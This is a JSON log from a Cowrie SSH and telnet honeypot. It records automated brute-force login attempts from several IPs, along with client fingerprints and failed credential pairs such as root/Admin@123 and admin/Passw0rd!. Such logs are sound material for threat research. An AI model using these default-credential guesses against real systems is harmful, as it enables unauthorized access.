{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:11.012376Z","src_ip":"192.109.200.78","session":"242f11af86a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:11.390448Z","src_ip":"192.109.200.78","session":"242f11af86a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:12.477008Z","src_ip":"192.109.200.78","session":"242f11af86a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45936,"dst_ip":"10.17.0.5","dst_port":22,"session":"65f167d67493","protocol":"ssh","message":"New connection: 192.109.200.78:45936 (10.17.0.5:22) [session: 65f167d67493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:15.288481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:15.293391Z","src_ip":"192.109.200.78","session":"65f167d67493","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:15.376245Z","src_ip":"192.109.200.78","session":"65f167d67493","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:15.745110Z","src_ip":"192.109.200.78","session":"65f167d67493","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:16.836746Z","src_ip":"192.109.200.78","session":"65f167d67493","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46712,"dst_ip":"10.17.0.5","dst_port":22,"session":"c18a22b9ba72","protocol":"ssh","message":"New connection: 192.109.200.78:46712 (10.17.0.5:22) [session: c18a22b9ba72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:19.344306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:19.415301Z","src_ip":"192.109.200.78","session":"c18a22b9ba72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:19.547344Z","src_ip":"192.109.200.78","session":"c18a22b9ba72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:19.820367Z","src_ip":"192.109.200.78","session":"c18a22b9ba72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:20.911280Z","src_ip":"192.109.200.78","session":"c18a22b9ba72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46722,"dst_ip":"10.17.0.5","dst_port":22,"session":"46e6be4cd2c1","protocol":"ssh","message":"New connection: 192.109.200.78:46722 (10.17.0.5:22) [session: 46e6be4cd2c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:23.554386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:23.559412Z","src_ip":"192.109.200.78","session":"46e6be4cd2c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:23.641612Z","src_ip":"192.109.200.78","session":"46e6be4cd2c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:23.891204Z","src_ip":"192.109.200.78","session":"46e6be4cd2c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:24.988011Z","src_ip":"192.109.200.78","session":"46e6be4cd2c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53976,"dst_ip":"159.203.135.109","dst_port":22,"session":"c38beac086b7","protocol":"ssh","message":"New connection: 159.203.92.129:53976 (159.203.135.109:22) [session: c38beac086b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:27.785438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:27.790276Z","src_ip":"159.203.92.129","session":"c38beac086b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:27.794416Z","src_ip":"159.203.92.129","session":"c38beac086b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46738,"dst_ip":"10.17.0.5","dst_port":22,"session":"1388ef044082","protocol":"ssh","message":"New connection: 192.109.200.78:46738 (10.17.0.5:22) [session: 1388ef044082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:27.804659Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Passw0rd!","message":"login attempt [admin/Passw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:27.809801Z","src_ip":"159.203.92.129","session":"c38beac086b7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:27.813253Z","src_ip":"192.109.200.78","session":"1388ef044082","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:27.897497Z","src_ip":"192.109.200.78","session":"1388ef044082","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:28.146620Z","src_ip":"192.109.200.78","session":"1388ef044082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:28.817625Z","src_ip":"159.203.92.129","session":"c38beac086b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:29.232632Z","src_ip":"192.109.200.78","session":"1388ef044082","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.124.226","src_port":55044,"dst_ip":"159.203.135.109","dst_port":23,"session":"07dc088712eb","protocol":"telnet","message":"New connection: 198.50.124.226:55044 (159.203.135.109:23) [session: 07dc088712eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:30.035847Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37428,"dst_ip":"10.17.0.5","dst_port":22,"session":"60bfd4300ae4","protocol":"ssh","message":"New connection: 192.109.200.78:37428 (10.17.0.5:22) [session: 60bfd4300ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:31.803764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:31.812885Z","src_ip":"192.109.200.78","session":"60bfd4300ae4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:31.889957Z","src_ip":"192.109.200.78","session":"60bfd4300ae4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:32.431920Z","src_ip":"192.109.200.78","session":"60bfd4300ae4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:33.518123Z","src_ip":"192.109.200.78","session":"60bfd4300ae4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37430,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c145b1bb18a","protocol":"ssh","message":"New connection: 192.109.200.78:37430 (10.17.0.5:22) [session: 9c145b1bb18a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:35.948721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:35.958676Z","src_ip":"192.109.200.78","session":"9c145b1bb18a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:36.041474Z","src_ip":"192.109.200.78","session":"9c145b1bb18a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpt","password":"gpt","message":"login attempt [gpt/gpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:36.295932Z","src_ip":"192.109.200.78","session":"9c145b1bb18a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":54968,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c7dec32fa2c","protocol":"telnet","message":"New connection: 34.125.158.14:54968 (159.203.135.109:23) [session: 1c7dec32fa2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:36.322191Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":55726,"dst_ip":"159.203.135.109","dst_port":23,"session":"012b4d180fbf","protocol":"telnet","message":"New connection: 34.125.158.14:55726 (159.203.135.109:23) [session: 012b4d180fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:37.391889Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":55750,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fba338ba100","protocol":"telnet","message":"New connection: 34.125.158.14:55750 (159.203.135.109:23) [session: 3fba338ba100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:37.398021Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:37.476445Z","src_ip":"192.109.200.78","session":"9c145b1bb18a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39956,"dst_ip":"10.17.0.5","dst_port":22,"session":"2957a0ca6663","protocol":"ssh","message":"New connection: 192.109.200.78:39956 (10.17.0.5:22) [session: 2957a0ca6663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:40.326316Z"}
